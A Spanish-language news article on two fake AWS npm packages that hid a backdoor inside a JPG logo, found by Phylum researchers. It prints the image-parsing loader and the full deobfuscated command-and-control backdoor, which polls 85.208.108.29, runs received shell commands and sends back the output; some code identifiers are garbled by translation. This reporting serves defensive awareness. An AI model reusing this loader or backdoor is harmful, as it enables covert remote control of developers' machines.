Los investigadores han determinado que dos paquetes falsos de AWS descargados cientos de veces del repositorio de código abierto NPM JavaScript contenían código cuidadosamente oculto que introdujo una puerta trasera en las computadoras de los desarrolladores cuando se ejecutaban. Los paquetes, img-aws-s3-object-multipart-copy y legacyaws-s3-object-multipart-copy, eran intentos de aparecer como aws-s3-object-multipart-copy, una biblioteca JavaScript legítima para copiar archivos utilizando el servicio en la nube S3 de Amazon. Los archivos falsos incluían todo el código encontrado en la biblioteca legítima, pero añadían un archivo JavaScript adicional llamado loadformat.js. Ese archivo proporcionaba lo que parecía ser un código benigno y tres imágenes JPG que se procesaron durante la instalación del paquete. Una de esas imágenes contenía fragmentos de código que, cuando se reconstruyeron, formaron el código para introducir una puerta trasera en el dispositivo del desarrollador. Sofisticación creciente «Hemos informado de estos paquetes para su eliminación, sin embargo, los paquetes maliciosos permanecieron disponibles en npm durante casi dos días», escribieron los investigadores de Phylum, la empresa de seguridad que detectó los paquetes. “Esto es preocupante, ya que implica que la mayoría de los sistemas no pueden detectar e informar rápidamente sobre estos paquetes, lo que deja a los desarrolladores vulnerables a los ataques durante períodos de tiempo más largos”. En un correo electrónico, el director de investigación de Phylum, Ross Bryant, dijo que img-aws-s3-object-multipart-copy recibió 134 descargas antes de que lo eliminaran. El otro archivo, legacyaws-s3-object-multipart-copy, tuvo 48. El cuidado que los desarrolladores de paquetes ponen en el código y la eficacia de sus tácticas subraya la creciente sofisticación de los ataques dirigidos a repositorios de código abierto, que además de NPM han incluido PyPI, GitHub y RubyGems. Los avances hicieron posible que la gran mayoría de los productos de escaneo de malware no detectaran la puerta trasera que se coló en estos dos paquetes. En los últimos 17 meses, los actores de amenazas respaldados por el gobierno de Corea del Norte han atacado a los desarrolladores dos veces, una de ellas utilizando una vulnerabilidad de día cero. Los investigadores del filo proporcionaron un análisis profundo de cómo funcionaba el ocultamiento: Al analizar el archivo loadformat.js, encontramos lo que parece ser un código de análisis de imágenes bastante inocuo. Sin embargo, al revisarlo más de cerca, vemos que este código está haciendo algunas cosas interesantes, lo que resulta en la ejecución en la máquina víctima. Después de leer el archivo de imagen del disco, se analiza cada byte. Todos los bytes con un valor entre 32 y 126 se convierten de valores Unicode a un carácter y se agregan a la variable analyzepixels. function processImage(filePath) { console.log(«Procesando imagen…»); const data = fs.readFileSync(filePath); let analyzepixels = «»; let convertertree = false; for (let i = 0; i < data.length; i++) { const value = data[i]; if (value >= 32 && valor <= 126) { analyzepixels += String.fromCharCode(value); } else { if (analyzepixels.length > 2000) { convertertree = true; break; } analyzepixels = «»; } } // … Luego, el actor de amenazas define dos cuerpos distintos de una función y almacena cada uno en sus propias variables, imagebyte y analyzePixels. let analyzePixеls = ` if (false) { exec(«node -v», (error, stdout, stderr) => { console.log(stdout); }); } console.log(«check nodejs version…»); `; let imagebyte = ` const httpsOptions = { hostname: ‘cloudconvert.com’, path: ‘/image-converter’, method: ‘POST’ }; const req = https.request(httpsOptions, res => { console.log(‘Status Code:’, res.statusCode); }); req.on(‘error’, error => { console.error(error); }); req.end(); console.log(«Ejecutando operación…»); `; Si convertertree está configurado como verdadero, imagebyte está configurado como analyzepixels. En lenguaje sencillo, si converttree está configurado, ejecutará lo que esté contenido en el script que extrajimos del archivo de imagen. if (convertertree) { console.log(«Optimización completa. Aplicando funciones avanzadas…»); imagebyte = analyzepixels; } else { console.log(«Optimización completa. No se aplicaron funciones avanzadas.»); } Mirando hacia atrás arriba, notamos que convertertree se configurará como verdadero si la longitud de los bytes encontrados en la imagen es mayor a 2000. if (analyzepixels.length > 2000) { convertertree = true; break; } Luego, el autor crea una nueva función usando código que envía una solicitud POST vacía a cloudconvert.com o inicia la ejecución de lo que se extrajo de los archivos de imagen. const func = new Function(‘https’, ‘exec’, ‘os’, imagebyte); func(https, exec, os); La pregunta persistente es, ¿qué contienen las imágenes que esto está intentando ejecutar? Comando y control en un JPEG Mirando la parte inferior del archivo loadformat.js, vemos lo siguiente: processImage(‘logo1.jpg’); processImage(‘logo2.jpg’); processImage(‘logo3.jpg’); Encontramos estos tres archivos en la raíz del paquete, que se incluyen a continuación sin modificaciones, a menos que se indique lo contrario. Aparece como logo1.jpg en el paquete Aparece como logo2.jpg en el paquete Aparece como logo3.jpg en el paquete. Modificado aquí ya que el archivo está dañado y en algunos casos no se mostraba correctamente. Si ejecutamos cada uno de estos a través de la función processImage(…) de arriba, encontramos que la imagen de Intel (es decir, logo1.jpg) no contiene suficientes bytes «válidos» para establecer la variable converttree en verdadera. Lo mismo ocurre con logo3.jpg, el logotipo de AMD. Sin embargo, para el logotipo de Microsoft (logo2.jpg), encontramos lo siguiente, formateado para facilitar la lectura: let fetchInterval = 0x1388; let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval); const clientInfo = { ‘name’: os.hostname(), ‘os’: os.type() + » » + os.release() }; const agent = new https.Agent({ ‘rejectUnauthorized’: false }); function registerClient() { const _0x47c6de = JSON.stringify(clientInfo); const _0x5a10c1 = { ‘nombre_host’: «85.208.108.29», ‘puerto’: 0x1bb, ‘ruta’: «/register», ‘método’: «POST», ‘encabezados’: { ‘Tipo_contenido’: «application/json», ‘Longitud_contenido’: Buffer.byteLength(_0x47c6de) }, ‘agente’: agente }; const _0x38f695 = https.solicitud(_0x5a10c1, _0x454719 => { console.log(«Registrado con el servidor como » + clientInfo.name); }); _0x38f695.on(«error», _0x1159ec => { console.error(«Problema con el registro: » + _0x1159ec.message); }); _0x38f695.write(_0x47c6de); _0x38f695.end(); } función fetchAndExecuteCommand() { const _0x2dae30 = { ‘nombre de host’: «85.208.108.29», ‘puerto’: 0x1bb, ‘ruta’: «/get-command?clientId=» + encodeURIComponent(clientInfo.name), ‘método’: «GET», ‘agente’: agente }; https.get(_0x2dae30, _0x4a0c09 => { let _0x41cd12 = »; _0x4a0c09.on(«datos», _0x5cbbc5 => { _0x41cd12 += _0x5cbbc5.toString(); }); _0x4a0c09.on(«fin», () => { console.log(«Comando recibido:», _0x41cd12); if (_0x41cd12.startsWith(‘setInterval:’)) { const _0x1e3896 = parseInt(_0x41cd12.split(‘:’)[0x1]0xa); if (!isNaN(_0x1e3896) && _0x1e3896 > 0x0) { clearInterval(intervalId); fetchInterval = _0x1e3896 * 0x3e8; intervalId = setInterval(fetchAndExecuteCommand, fetchInterval); console.log(«El intervalo se ha actualizado a » + _0x1e3896 + » segundos.»); } else { console.log(«Se recibió un comando de intervalo no válido.»); } } else { if (_0x41cd12.startsWith(«cd «)) { const _0x58bd7d = _0x41cd12.substring(0x3).trim(); try { process.chdir(_0x58bd7d); console.log(«Se cambió el directorio a » + process.cwd()); } catch (_0x2ee272) { console.error(«Error al cambiar directorio: » + _0x2ee272); } } else if (_0x41cd12 !== «No hay comandos») { exec(_0x41cd12, { ‘cwd’: process.cwd() }, (_0x5da676, _0x1ae10c, _0x46788b) => { let _0x4a96cd = _0x1ae10c; if (_0x5da676) { console.error(«Error de ejecución: » + _0x5da676); _0x4a96cd += «\\nError: » + _0x46788b; } postResult(_0x4a96cd); }); } else { console.log(«No hay comandos para ejecutar»); } } }); }).on(«error», _0x2e8190 => { console.error(«Error obtenido: » + _0x2e8190.message); }); } function postResult(_0x1d73c1) { const _0xc05626 = { ‘nombre de host’: «85.208.108.29», ‘puerto’: 0x1bb, ‘ruta’: «/post-result?clientId=» + encodeURIComponent(clientInfo.name), ‘método’: «POST», ‘encabezados’: { ‘Tipo de contenido’: «text/plain», ‘Longitud del contenido’: Buffer.byteLength(_0x1d73c1) }, ‘agente’: agente }; const _0x2fcb05 = https.request(_0xc05626, _0x448ba6 => { console.log(«Resultado enviado al servidor»); }); _0x2fcb05.on(‘error’, _0x1f60a7 => { console.error(«Problema con la solicitud: » + _0x1f60a7.message); }); _0x2fcb05.write(_0x1d73c1); _0x2fcb05.end(); } registerClient(); Este código primero registra el nuevo cliente con el C2 remoto enviando la siguiente clientInfo a 85.208.108.29. const clientInfo = { ‘name’: os.hostname(), ‘os’: os.type() + » » + os.release() }; Luego, configura un intervalo que se repite periódicamente y recupera comandos del atacante cada 5 segundos. let fetchInterval = 0x1388; let intervalId = setInterval(fetchAndExecuteCommand, fetchInterval); Los comandos recibidos se ejecutan en el dispositivo y la salida se envía de vuelta al atacante en el punto final /post-results?clientId=. Uno de los métodos más innovadores en la memoria reciente para ocultar una puerta trasera de código abierto fue descubierto en marzo, solo unas semanas antes de que se incluyera en una versión de producción de XZ Utils, una utilidad de compresión de datos disponible en casi todas las instalaciones de Linux. La puerta trasera se implementó a través de un cargador de cinco etapas que utilizó una serie de técnicas simples pero inteligentes para ocultarse. Una vez instalado, la puerta trasera permitió a los actores de la amenaza iniciar sesión en los sistemas infectados con derechos de sistema administrativo. La persona o el grupo responsable pasó años trabajando en la puerta trasera. Además de la sofisticación del método de ocultación, la entidad dedicó grandes cantidades de tiempo a producir código de alta calidad para proyectos de código abierto en un esfuerzo exitoso por generar confianza con otros desarrolladores. En mayo, Phylum interrumpió una campaña separada que introdujo una puerta trasera en un paquete disponible en PyPI que también usaba esteganografía, una técnica que incrusta código secreto en imágenes. «En los últimos años, hemos visto un aumento dramático en la sofisticación y el volumen de paquetes maliciosos publicados en ecosistemas de código abierto», escribieron los investigadores de Phylum. “No nos engañemos, estos ataques tienen éxito. Es absolutamente imperativo que tanto los desarrolladores como las organizaciones de seguridad sean plenamente conscientes de este hecho y estén muy atentos a las bibliotecas de código abierto que consumen”.